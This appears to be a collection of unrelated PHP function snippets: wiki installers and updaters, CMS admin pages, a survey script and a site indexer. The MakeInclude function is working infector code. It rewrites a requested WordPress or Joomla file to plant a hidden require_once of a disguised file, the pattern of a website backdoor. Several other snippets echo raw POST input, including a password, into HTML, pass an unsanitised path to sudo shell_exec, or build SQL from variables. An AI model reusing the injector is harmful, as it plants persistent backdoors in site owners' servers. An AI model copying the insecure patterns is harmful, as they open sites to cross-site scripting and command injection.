$xml->createElement('language', '');\n\t\t\t$language->setAttribute('id', $_POST['setupDefaultLanguage']);\n\t\t\t$language->setAttribute('name', $_POST['setupDefaultPage']);\n\t\t\t$page->appendChild($language);\n\t\t\t$pageList->appendChild($page);\n\t\t\t$hypha->appendChild($pageList);\n\t\t\t$hypha->appendChild($xml->createElement('digest', ''));\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/hypha.xml');\n\n\t\t\t// goto hypha site\n\t\t\theader('Location: '.$_POST['setupBaseUrl']);\n\t\t\texit;\n\t\t}\n\t\telse {\n\t\t\tif (!is_writable('.')) $errorMessage.= 'php has no write access to the hypa installation directory on the server<br/>';\n\n\t\t\t// extract list of languages\n\t\t\t$iso639 = json_decode(data('system/languages/languages.json'), true);\n\t\t\t$languageOptionList = '';\n\t\t\tforeach($iso639 as $code => $langName) $languageOptionList.= '<option value=\"'.$code.'\"'.( $code=='en' ? ' selected' : '').'>'.$code.': '.$langName.'</option>';\n\n\t\t\t// build html\n\t\t\tob_start();\n?>\n\t\t<div style=\"width:800px;\">\n\t\t\t<h1>hypha installer</h1>\n\t\t\tIn order to set up this new hypha site you need to fill out a few things. This is a once only procedure. The entered data will be used to create some folders, include scripts and config files in the folder where the hypha script resides.\n\t\t\t<h2>system configuration</h2>\n\t\t\tThe following settings are used to set up your project website. All settings can be changed after the initial installation.<br/>\n\t\t\t<table style=\"width:800px;\" class=\"section\">\n\t\t\t\t<tr><td width=\"240\"></td><td></td><td width=\"400\"></td></tr>\n\t\t\t\t<tr><th>title</th><td><input name=\"setupTitle\" size=\"40\" value=\"<?=$_POST['setupTitle'];?>\" /></td><td class=\"help\">The name of your site as it will appear in the browers title bar.</td></tr>\n\t\t\t\t<tr><th>base url</th><td><input name=\"setupBaseUrl\" size=\"40\" value=\"http://<?=$_SERVER[\"SERVER_NAME\"].str_replace('/hypha.php', '', $_SERVER[\"REQUEST_URI\"])?>\" /></td><td class=\"help\">This is the address where the hypha site can be found.</td></tr>\n\t\t\t\t<tr><th>default page</th><td><input name=\"setupDefaultPage\" size=\"40\" value=\"home\" value=\"<?=$_POST['setupDefaultPage'];?>\" /></td><td class=\"help\">Hypha lets you create wiki style pages which can link to each other. If no particular page is selected the site will default to this page.</td></tr>\n\t\t\t\t<tr><th>default language</th><td><select name=\"setupDefaultLanguage\"><?=$languageOptionList?></select></td><td class=\"help\">All pages can be multilingual. If a user does not choose a language the site will default to this language.</td></tr>\n\t\t\t\t<tr><th>login</th><td><input name=\"setupUsername\" size=\"40\" value=\"<?=$_POST['setupUsername'];?>\" /></td><td class=\"help\">This first user account will automatically have admin rights for site maintenance.</td></tr>\n\t\t\t\t<tr><th>password</th><td><input name=\"setupPassword\" size=\"40\" value=\"<?=$_POST['setupPassword'];?>\" /></td><td class=\"help\">The superuser password.</td></tr>\n\t\t\t\t<tr><th>full name</th><td><input name=\"setupFullname\" size=\"40\" value=\"<?=$_POST['setupFullname'];?>\" /></td><td class=\"help\">This name will be used for email messages generated by the system.</td></tr>\n\t\t\t\t<tr><th>email</th><td><input name=\"setupEmail\" size=\"40\" value=\"<?=$_POST['setupEmail'];?>\" /></td><td class=\"help\">This email adress will be the reply-to address of system sent messages. You may want to use an email alias that forwards messages to all collaborators in the group.</td></tr>\n\t\t\t\t<tr><td colspan=\"3\" style=\"text-align:right;\"><input type=\"submit\" name=\"command\" value=\"install\" /></td></tr>\n\t\t\t</table>\n\t\t</div>\n<?php\n\t\t\treturn ob_get_clean();\n\t\t}\n\t}", "function build() {\n\t\t$localIndex = index();\n\t\tarsort($localIndex);\n\t\tob_start();\n?>\n\t\t\t<div style=\"width:600px;\">\n\t\t\t\t<h1>hypha builder</h1>\n\t\t\t\tHere you can compose your own hypha system.\n\t\t\t\t<ol>\n\t\t\t\t\t<li>First you have to enter a name and password for the so called 'superuser' account.</li>\n\t\t\t\t\t<li>Then you can select a number of modules for different data types you want to incorporate in your hypha system.</li>\n\t\t\t\t\t<li>When you click 'build' your superuser account and selection of modules will be packed into one php file ('hypha.php') which is offered for download.</li>\n\t\t\t\t\t<li>Upload the downloaded file into a webdirectory on your server and make shure php has write access to the folder. Open the file in a browser. You will be asked to login as superuser and after setting up some variables hypha will be installed.</li>\n\t\t\t\t</ol>\n\t\t\t</div>\n\t\t\t<table class=\"section\">\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser name:</th><td><input id=\"username\" name=\"username\" type=\"text\" /></td></tr>\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser password:</th><td><input name=\"password\" type=\"password\" /></td></tr>\n\t\t\t\t<tr name=\"datatype\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">modules to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/datatypes/') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\tif ($name!='settings') echo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'text' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr name=\"language\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">languages to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/languages/' && substr($file, -4) == '.php') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\techo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'en' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr><td colspan=\"2\" style=\"text-align:right;\"><input type=\"submit\" id=\"gobutton\" name=\"command\" value=\"build\"></td></tr>\n\t\t\t</table>\n<?php\n\t\treturn ob_get_clean();\n\t}", "function tools($hyphaServer) {\n\t\tglobal $errorMessage;\n\t\tswitch($_POST['command']) {\n\t\t\tcase 'add':\n\t\t\t\t$data = gzdecode(base64_decode(file_get_contents($hyphaServer.'?file='.$_POST['argument'])));\n\t\t\t\tif ($data) {\n\t\t\t\t\tfile_put_contents($_POST['argument'], $data);\n\t\t\t\t\tchmod($_POST['argument'], 0664);\n\t\t\t\t}\n\t\t\t\telse $errorMessage.= 'file transfer failed<br/>';\n\t\t\t\tbreak;\n\t\t\tcase 'remove':\n\t\t\t\tunlink($_POST['argument']);\n\t\t\t\tbreak;\n\t\t}\n\t\t$localIndex = index();\n\t\t$serverIndex = unserialize(file_get_contents($hyphaServer.'?file=index'));\n\t\tksort($serverIndex);\n\t\tob_start();\n?>\n\t\t\t<div style=\"width:600px;\">\n\t\t\t\t<input type=\"submit\" name=\"command\" value=\"back\" style=\"float:right;\" />\n\t\t\t\t<h1>hypha system tools</h1>\n\t\t\t\tHere you can manage the files of your hypha configuration.\n\t\t\t\t<ul>\n\t\t\t\t\t<li><b>install</b> install a (datatype) module that available on the hypha server but is currently not installed on your system.</li>\n\t\t\t\t\t<li><b>remove</b> remove a (datatype) module that is currently installed on your system.</li>\n\t\t\t\t\t<li><b>update</b> update a file on your system with a newer version available from the hypha server.</li>\n\t\t\t\t\t<li><b>reset</b> your file is newer than the version on the hypha server. You can use this option to revert to the older version. This can be useful when a file got broken or some css code was messed up.</li>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t\t<table class=\"section\">\n\t\t\t\t<tr><th style=\"text-align:left\">file</th><th colspan=\"2\">action</th></tr>\n<?php\n\t\tforeach ($serverIndex as $file => $info) {\n\t\t\techo '<tr><td style=\"white-space:nowrap;\">'.$file.'</td>';\n\t\t\tif (array_key_exists($file, $localIndex)) {\n\t\t\t\techo '<td><input type=\"button\" value=\"'.($localIndex[$file] < $serverIndex[$file] ? 'update' : 'reset').'\" onclick=\"hypha(\\'add\\', \\''.$file.'\\');\" /></td>';\n\t\t\t\t$path = pathinfo($file);\n\n\t\t\t\t$dir = explode('/', $path['dirname']);\n\t\t\t\twhile (isset($dir[0]) && $dir[0] == '.') array_shift($dir);\n\t\t\t\t$level0 = isset($dir[0]) ? $dir[0] : false;\n\t\t\t\t$level1 = isset($dir[1]) ? $dir[1] : false;\n\t\t\t\tif ($level0 == 'system' && ($level1=='datatypes' || $level1=='languages') && $path['basename']!='settings.php')\n\t\t\t\techo '<td><input type=\"button\" value=\"remove\" onclick=\"hypha(\\'remove\\', \\''.$file.'\\');\" /></td>';\n\t\t\t\telse echo '<td></td>';\n\t\t\t}\n\t\t\telse echo '<td></td><td><input type=\"button\" value=\"install\" onclick=\"hypha(\\'add\\', \\''.$file.'\\');\" /></td>';\n\t\t\techo '</tr>';\n\t\t}\n\t\techo '</table>';\n\t\treturn ob_get_clean();\n\t}", "function buildzip() {\n\t\t// make list of files to include\n\t\t$files = array_keys(index());\n\t\tforeach($_POST as $p => $v) if (substr($p, 0, 6) == 'build_') $files[] = substr($p, 6).'.php';\n\n\t\t// get the base script to modify\n\t\t$hypha = file_get_contents('hypha.php');\n\n\t\t// insert superuser name and password\n\t\t$hypha = preg_replace('/\\$username = \\'.*?\\';/', '\\$username = \\''.$_POST['username'].'\\';', $hypha);\n\t\t$hypha = preg_replace('/\\$password = \\'.*?\\';/', '\\$password = \\''.$_POST['password'].'\\';', $hypha);\n\n\t\t// build data library of zipped files to include\n\t\t$data = \"\t\t\t//START_OF_DATA\\n\";\n\t\t$data .= '\t\t\tcase \\'index\\': $zip = \"'.base64_encode(gzencode(implode(',', array_keys(index())), 9)).'\"; break;'.\"\\n\";\n\t\tforeach ($files as $file) $data.= '\t\t\tcase \\''.$file.'\\': $zip = \"'.base64_encode(gzencode(file_get_contents($file), 9)).'\"; break;'.\"\\n\";\n\t\t$data .= \"\t\t\t//END_OF_DATA\\n\";\n\n\t\t// include data library\n\t\t$hypha = preg_replace('#^\\t*//START_OF_DATA\\n.*//END_OF_DATA\\n#ms', $data, $hypha);\n\n\t\t// push script to client\n\t\theader('Content-Type: application/octet-stream');\n\t\theader('Content-Disposition: attachment; filename=\"hypha.php\"');\n\t\techo $hypha;\n\t\texit;\n\t}", "function mainHTML()\n {\n ?>\n <h1>Upgrade Andromeda From Subversion</h1>\n \n <br/>\n This program will pull the latest release code for\n Andromeda directly from our Sourceforget.net Subversion tree. \n\n <br/>\n <br/>\n <b>This program directly overwrites the running Node Manager\n Code.</b> <span style=\"color:red\"><b>If you have been making changes to your Andromeda\n code on this machine all of those changes will be lost!</b><span>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_pullsvna&gp_out=none')\"\n >Step 1: Pull Code Now</a>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_builder&gp_out=none&txt_application=andro')\"\n >Step 2: Rebuild Node Manager</a>\n \n <?php\n \n }", "public static function createDocs()\n {\n // Set the valid sections for template index page.\n self::$_sections = array(\n 'tasks' => _('Tasks'),\n 'troubleshooting' => _('Troubleshooting'),\n );\n\n self::$_widgetReferences = array(\n 'elemid' => array(),\n 'elemclass' => array(),\n );\n\n // Get the general articles file.\n self::$_generalArticlesFilePath = self::_getGeneralArticleFilePath();\n\n include_once 'Libs/FileSystem/FileSystem.inc';\n\n // Create the base help data dir.\n $dataDir = Help::getDocsDirectory();\n if (file_exists($dataDir) === FALSE) {\n FileSystem::mkdir($dataDir, 0755, TRUE);\n } else {\n FileSystem::clearDirectory($dataDir, FALSE);\n }\n\n $helpDirs = array();\n $dom = Channels::getSystemXml();\n $xpath = new DOMXPath($dom);\n\n // Get the exclusive systems and move the implementor docs to\n // exclusive system.\n $systems = $xpath->query('/systems/system');\n foreach ($systems as $system) {\n $helpDirs[$system->getAttribute('name')] = $system->getAttribute('path').'/Docs';\n }\n\n $systems = $xpath->query('/systems/system[@exclusive=\"true\"]');\n foreach ($systems as $system) {\n $impPath = $helpDirs[$system->getAttribute('implementor')];\n\n $helpDirs[$system->getAttribute('name')] = $impPath;\n unset($helpDirs[$system->getAttribute('implementor')]);\n }\n\n $systemsWithDocs = array();\n foreach ($helpDirs as $system => $dir) {\n if (file_exists($dir) === TRUE) {\n $systemsWithDocs[$system] = $dir;\n }\n }\n\n // Sort by system name.\n ksort($systemsWithDocs);\n\n // Put list of all HTML files in all systems in to a structured array.\n $docs = array();\n foreach ($systemsWithDocs as $systemName => $docsPath) {\n $mainDocs = FileSystem::listDirectory($docsPath, array('.html'), FALSE, FALSE);\n $docs[$systemName] = array(\n 'path' => $docsPath,\n 'mainDocs' => $mainDocs,\n 'templateDocs' => array(),\n );\n\n $templates = FileSystem::listDirectories($docsPath.'/Templates');\n foreach ($templates as $templatePath) {\n $templateDocs = FileSystem::listDirectory($templatePath, array('.html'), FALSE, FALSE);\n $docs[$systemName]['templateDocs'][basename($templatePath)] = $templateDocs;\n }\n }\n\n self::_parseDocs($docs);\n self::_addGlossaryUsageToGlossaryFiles();\n self::_createIndexPages();\n self::_createHelpSystemsMenu();\n\n }", "function html_header()\n{\n\techo \"<html>\\n<head>\\n\";\n\techo \"\\t<title>CalDAVTester GUI</title>\\n\";\n\tif (file_exists(__DIR__.'/jquery.js'))\n\t{\n\t\techo \"\\t<script src='jquery.js'></script>\\n\";\n\t}\n\telse\n\t{\n\t\techo \"\\t<script src='https://code.jquery.com/jquery-2.2.4.min.js' integrity='sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44=' crossorigin='anonymous'></script>\\n\";\n\t}\n\techo \"\\t<script src='gui.js'></script>\\n\";\n\techo \"\\t<link type='text/css' href='gui.css' rel='StyleSheet'/>\\n\";\n\techo \"</head>\\n<body>\\n\";\n}", "function _survey_cygnal_script_build_file($datos){\n\t\t#$path = drupal_get_path('module', 'survey_cygnal');\n\t\t#require_once $path.\"/includes/survey_cygnal.word.inc\";\n\t\t\n\t\t$data=$datos;\n\t\t/*$data = array();\n\t\t$data['node']['logo_cygnal'] \t\t= $path.\"/theme/img/logo_cygnal_transparent.png\";\n\t\t$data['node']['logo_custamer'] \t\t= $path.\"/theme/img/logos/logo_empresa.png\";\n\t\t$data['node']['text_header'] \t\t= \"Cygnal Pulse Survey Platform\";\n\n\t\t$data['node']['show_text_header'] \t= 1; // 0:No 1:Si\n\n\t\t$data['node']['text_zone'] \t\t\t= \"Florida Statewide\";\n\t\t$data['node']['text_client'] \t\t= \"Frontline Strategies\";\n\t\t$data['node']['text_status'] \t\t= \"- APROVED -\";\n\t\t$data['node']['text_project_id'] \t= \"171229L-FLS-FL\";\n\t\t$data['node']['text_title'] \t\t= \"Survey of Likely General Election Voters\";\n\t\t$data['node']['text_date'] \t\t\t= $fecha;\n\t\t$data['node']['text_intro'] \t\t= \"Hi. I’m _________________ with Seminole [SIM-uh-nole] Research. We are conducting an issue survey in Florida today and need your help. Your confidential responses will play an important role in the legislative process.\";\n\t\t\n\t\t# ---------------------------------------------------------------------------\n\t\t# PREGUNTA 1\n\t\t$data['node']['questions'][] = array(\n\t\t\t'question_type' \t=> '2',\t\n\t\t\t'question_head' \t=> array(),\n\t\t\t'question' \t\t\t=> 'How likely are you to vote in the 2018 General Election for Senate, Congress, Governor, state legislature, and local offices next November?',\n\t\t\t'answer_head' \t\t=> array(),\n\t\t\t'answers' => array(\n\t\t\t\t'a' => array(\n\t\t\t\t\t'answer_text' => 'Definitely voting', \n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'b' => array(\n\t\t\t\t\t'answer_text' => 'Probably voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'c' => array(\n\t\t\t\t\t'answer_text' => 'Probably not voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'd' => array(\n\t\t\t\t\t'answer_text' => 'Definitely not voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'e' => array(\n\t\t\t\t\t'answer_text' => 'Not sure',\n\t\t\t\t\t'answer_info' => '[DO NOT READ]'\n\t\t\t\t),\n\t\t\t),\n\t\t\t'question_footer' => array(\n\t\t\t\t'IF DEF VOTING, PROB VOTING OR NOT SURE, GO TO Q2',\n\t\t\t\t'IF NOT VOTING, SAY “Thank You” AND TERMINATE'\n\t\t\t),\n\t\t);\n\n\t\t\n\t\t# ---------------------------------------------------------------------------\n\t\t// ADICIONALES.\n\t\t$data['node']['aditionals'][] = array(\n\t\t\t'aditional_text' => 'Congressional District',\n\t\t\t'aditional_info' => '[FROM VOTER FILE]',\n\t\t);\n\t\t*/\n\n\t\treturn _survey_cygnal_script_word( $data );\n\t}", "private function generateApiDoc() {\r\n if(!file_exists(\"/usr/local/bin/apidoc\"))\r\n return;\r\n\r\n $docsPath = __DIR__ . \"/../../docs\";\r\n $outputDir = __DIR__ . \"/../../public/apidoc/\";\r\n $filter = \".*\\\\.apidoc$\";\r\n exec(\"/usr/local/bin/apidoc -i {$docsPath} -f {$filter} -o {$outputDir}\");\r\n }", "private function makeHTML($path) {\n $output = shell_exec(\"sudo /var/www/sphinx/./myMake.sh \" . $path . \" html\");\n //$output = shell_exec(\"sudo sphinx-build -b html $path/source/ $path/build/html\");\n //dd($output);\n $this->addNewNews(0, 0, 3, \"Erstellt HTML\");\n }", "private static function hypertext()\n {\n $files = ['Res', 'Html'];\n $folder = static::$root.'Hypertext'.'/';\n\n self::call($files, $folder);\n }", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\n\t\tif (($this->id && $access) || ($BE_USER->user[\"admin\"] && !$this->id))\t{\n\n\t\t\t\t// Draw the header.\n\t\t\t$this->doc = t3lib_div::makeInstance(\"bigDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t$this->doc->form='<form action=\"index.php?id='.$this->id.'\" method=\"POST\">';\n\n\t\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t</script>\n\t\t\t';\n\n\t\t\t$headerSection = $this->doc->getHeader(\"pages\",$this->pageinfo,$this->pageinfo[\"_thePath\"]).\"<br />\".$LANG->sL(\"LLL:EXT:lang/locallang_core.xml:labels.path\").\": \".t3lib_div::fixed_lgd_pre($this->pageinfo[\"_thePath\"],50);\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\t\n\t\t\texec('hostname',$ret);\n\t\t\t$ret=implode(\"\",$ret);\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\") .\" on: $ret\");\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->section(\"\",$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,\"SET[function]\",$this->MOD_SETTINGS[\"function\"],$this->MOD_MENU[\"function\"])));\n\t\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section(\"\",$this->doc->makeShortcutIcon(\"id\",implode(\",\",array_keys($this->MOD_MENU)),$this->MCONF[\"name\"]));\n\t\t\t}\n\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t} else {\n\t\t\t\t// If no access or if ID == zero\n\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\t}", "function adminMain() {\r\n global $language, $hlpfile, $admin, $aid, $prefix, $file, $dbi;\r\n $hlpfile = \"manual/admin.html\";\r\n include (\"header.php\");\r\n $dummy = 0;\r\n GraphicAdmin($hlpfile);\r\n $result2 = sql_query(\"select radminarticle, radminsuper, admlanguage from $prefix\"._authors.\" where aid='$aid'\", $dbi);\r\n list($radminarticle, $radminsuper, $admlanguage) = sql_fetch_row($result2, $dbi);\r\n if ($admlanguage != \"\" ) {\r\n\t$queryalang = \"WHERE alanguage='$admlanguage' \";\r\n\t$queryplang = \"WHERE planguage='$admlanguage' \";\r\n } else {\r\n\t$queryalang = \"\";\r\n\t$queryplang = \"WHERE planguage='$language' \";\r\n }\r\n OpenTable();\r\n echo \"<center><b>\"._AUTOMATEDARTICLES.\"</b></center><br>\";\r\n $count = 0;\r\n $result = sql_query(\"select anid, aid, title, time, alanguage from $prefix\"._autonews.\" $queryalang order by time ASC\", $dbi);\r\n while(list($anid, $said, $title, $time, $alanguage) = sql_fetch_row($result, $dbi)) {\r\n\tif ($alanguage == \"\") {\r\n\t $alanguage = \"\"._ALL.\"\";\r\n\t}\r\n\tif ($anid != \"\") {\r\n\t if ($count == 0) {\r\n\t\techo \"<table border=\\\"1\\\" width=\\\"100%\\\">\";\r\n\t\t$count = 1;\r\n\t }\r\n\t $time = ereg_replace(\" \", \"@\", $time);\r\n\t if (($radminarticle==1) OR ($radminsuper==1)) {\r\n\t\tif (($radminarticle==1) AND ($aid == $said) OR ($radminsuper==1)) {\r\n \t\t echo \"<tr><td nowrap>&nbsp;(<a href=\\\"admin.php?op=autoEdit&amp;anid=$anid\\\">\"._EDIT.\"</a>-<a href=\\\"admin.php?op=autoDelete&amp;anid=$anid\\\">\"._DELETE.\"</a>)&nbsp;</td><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t\t} else {\r\n\t\t echo \"<tr><td>&nbsp;(\"._NOFUNCTIONS.\")&nbsp;</td><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t\t}\r\n\t } else {\r\n\t\techo \"<tr><td width=\\\"100%\\\">&nbsp;$title&nbsp;</td><td align=\\\"center\\\">&nbsp;$alanguage&nbsp;</td><td nowrap>&nbsp;$time&nbsp;</td></tr>\"; /* Multilingual Code : added column to display language */\r\n\t }\r\n\t}\r\n }\r\n if (($anid == \"\") AND ($count == 0)) {\r\n\techo \"<center><i>\"._NOAUTOARTICLES.\"</i></center>\";\r\n }\r\n if ($count == 1) {\r\n echo \"</table>\";\r\n }\r\n CloseTable();\r\n echo \"<br>\";\r\n OpenTable();\r\n echo \"<center><b>\"._LAST.\" 20 \"._ARTICLES.\"</b></center><br>\";\r\n $result = sql_query(\"select sid, aid, title, time, topic, informant, alanguage from $prefix\"._stories.\" $queryalang order by time desc limit 0,20\", $dbi);\r\n echo \"<center><table border=\\\"1\\\" width=\\\"100%\\\" bgcolor=\\\"$bgcolor1\\\">\";\r\n while(list($sid, $said, $title, $time, $topic, $informant, $alanguage) = sql_fetch_row($result, $dbi)) {\r\n\t$ta = sql_query(\"select topicname from $prefix\"._topics.\" where topicid=$topic\", $dbi);\r\n\tlist($topicname) = sql_fetch_row($ta, $dbi);\r\n\tif ($alanguage == \"\") {\r\n\t $alanguage = \"\"._ALL.\"\";\r\n\t}\r\n\tformatTimestamp($time);\r\n\techo \"<tr><td align=\\\"right\\\"><b>$sid</b>\"\r\n\t .\"</td><td align=\\\"left\\\" width=\\\"100%\\\"><a href=\\\"article.php?sid=$sid\\\">$title</a>\"\r\n\t .\"</td><td align=\\\"center\\\">$alanguage\"\r\n\t .\"</td><td align=\\\"right\\\">$topicname\";\r\n\tif (($radminarticle==1) OR ($radminsuper==1)) {\r\n\t if (($radminarticle==1) AND ($aid == $said) OR ($radminsuper==1)) {\r\n\t\techo \"</td><td align=\\\"right\\\" nowrap>(<a href=\\\"admin.php?op=EditStory&sid=$sid\\\">\"._EDIT.\"</a>-<a href=\\\"admin.php?op=RemoveStory&sid=$sid\\\">\"._DELETE.\"</a>)\"\r\n\t\t .\"</td></tr>\";\r\n\t } else {\r\n\t\techo \"</td><td align=\\\"right\\\" nowrap><font class=\\\"content\\\"><i>(\"._NOFUNCTIONS.\")</i></font>\"\r\n\t\t .\"</td></tr>\";\r\n\t }\r\n\t} else {\r\n\t echo \"</td></tr>\";\r\n\t}\r\n }\r\n echo \"\r\n </table>\";\r\n if (($radminarticle==1) OR ($radminsuper==1)) {\r\n\techo \"<center>\r\n\t<form action=\\\"admin.php\\\" method=\\\"post\\\">\r\n\t\"._STORYID.\": <input type=\\\"text\\\" NAME=\\\"sid\\\" SIZE=\\\"10\\\">\r\n\t<select name=\\\"op\\\">\r\n\t<option value=\\\"EditStory\\\" SELECTED>\"._EDIT.\"</option>\r\n\t<option value=\\\"RemoveStory\\\">\"._DELETE.\"</option>\r\n\t</select>\r\n\t<input type=\\\"submit\\\" value=\\\"\"._GO.\"\\\">\r\n\t</form></center>\";\r\n }\r\n CloseTable();\r\n $result = sql_query(\"SELECT pollID, pollTitle, timeStamp FROM $prefix\"._poll_desc.\" $queryplang ORDER BY pollID DESC limit 1\", $dbi);\r\n $object = sql_fetch_object($result, $dbi);\r\n $pollID = $object->pollID;\r\n $pollTitle = $object->pollTitle;\r\n echo \"<br>\";\r\n OpenTable();\r\n echo \"<center><b>\"._CURRENTPOLL.\":</b> $pollTitle [ <a href=\\\"admin.php?op=polledit&pollID=$pollID\\\">\"._EDIT.\"</a> | <a href=\\\"admin.php?op=create\\\">\"._ADD.\"</a> ]</center>\";\r\n CloseTable();\r\n include (\"footer.php\");\r\n}", "function MakeInclude()\n{\n\t$sFileUrl = '';\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t$sFileUrl = trim($_REQUEST['file-path']);\n\t\n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>fail not exist</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t$sGettedContent = ''; \n\t$sGettedContent = file_get_contents($sFileUrl);\n\t\n\tif($sGettedContent === false || strlen($sGettedContent) === 0)\n\t{\n\t\techo '<fail>cant get content from file</fail>';\n\t\treturn;\n\t}\n\t\n\tif(strcmp(__CMS_NAME__, 'wordpress') === 0)\n\t{\n\t\t$sGettedContent = str_replace(\"@require_once('class.wp-includes.php');\", '', $sGettedContent);\n\t\t$sGettedContent = preg_replace(\"/(@package\\s+WordPress\\s+\\*\\/)/\", \"\\\\1@require_once('class.wp-includes.php');\", $sGettedContent);\n\t} else\n\t\tif(strcmp(__CMS_NAME__, 'joomla') === 0)\n\t\t{\n\t\t\t$sGettedContent = str_replace(\"\\n\\ndefine('JPATH_ADAPTERSERVER', dirname(__FILE__).'/joomla/base/adapterobserver.php');\\nif(file_exists(JPATH_ADAPTERSERVER))\\n@require_once(JPATH_ADAPTERSERVER);');\", '', $sGettedContent);\n\t\t\t$sGettedContent = preg_replace(\"/\\*\\//\", \"*/\\n\\ndefine('JPATH_ADAPTERSERVER', dirname(__FILE__).'/joomla/base/adapterobserver.php');\\nif(file_exists(JPATH_ADAPTERSERVER))\\n@require_once(JPATH_ADAPTERSERVER);\", $sGettedContent, 1);\n\t\t}\t\t\n\t\n\t$stOutFileHandle = false;\n\t$stOutFileHandle = fopen($sFileUrl, 'w');\n\tif($stOutFileHandle === false)\n\t{\n\t\techo '<fail>cant open file for write</fail>';\n\t\treturn;\n\t}\n\t\tfwrite($stOutFileHandle, $sGettedContent);\n\tfclose($stOutFileHandle);\n\t\n\techo '<correct>correct include</correct>';\n\treturn;\n}", "public function displayDoc()\n {\n include __DIR__ . '/templates/doc.php';\n }", "function indexSite () {\n\t/* get a list of the various content-types from the folders in the site (blog | photo | quote &c.)\n\t -------------------------------------------------------------------------------------------------------------- */\n\t$types = array_fill_keys (array_filter (\n\t\t//include only directories, but ignore directories starting with ‘.’\n\t\tpreg_grep ('/^(\\.|_)/', scandir ('.'), PREG_GREP_INVERT), 'is_dir'\n\t), 0);\n\t\n\t/* generate an index of the articles on the site\n\t -------------------------------------------------------------------------------------------------------------- */\n\t$list = $tags = array ();\n\t$xml = '';\n\t\n\t//get each entry in each content-type folder\n\tforeach ($types as $type => &$count) foreach (preg_grep ('/\\.rem$/', scandir ($type)) as $file_name) {\n\t\t$name = pathinfo ($file_name, PATHINFO_FILENAME);\n\t\t\n\t\t//get the article’s header and content. if it doesn’t have a header, skip it\n\t\tif (!list ($meta, $title, $content) = getArticle (\"$type/$name\")) continue;\n\t\t\n\t\t//if the article is a draft, do not index it. it will be visible only at its permalink\n\t\tif (@$meta['draft']) continue;\n\t\t\n\t\t//update information:\n\t\t$modified = false;\n\t\t//if the file has no date: it’s new. give it a date\n\t\tif (!isset ($meta['date'])) {$meta['date'] = date 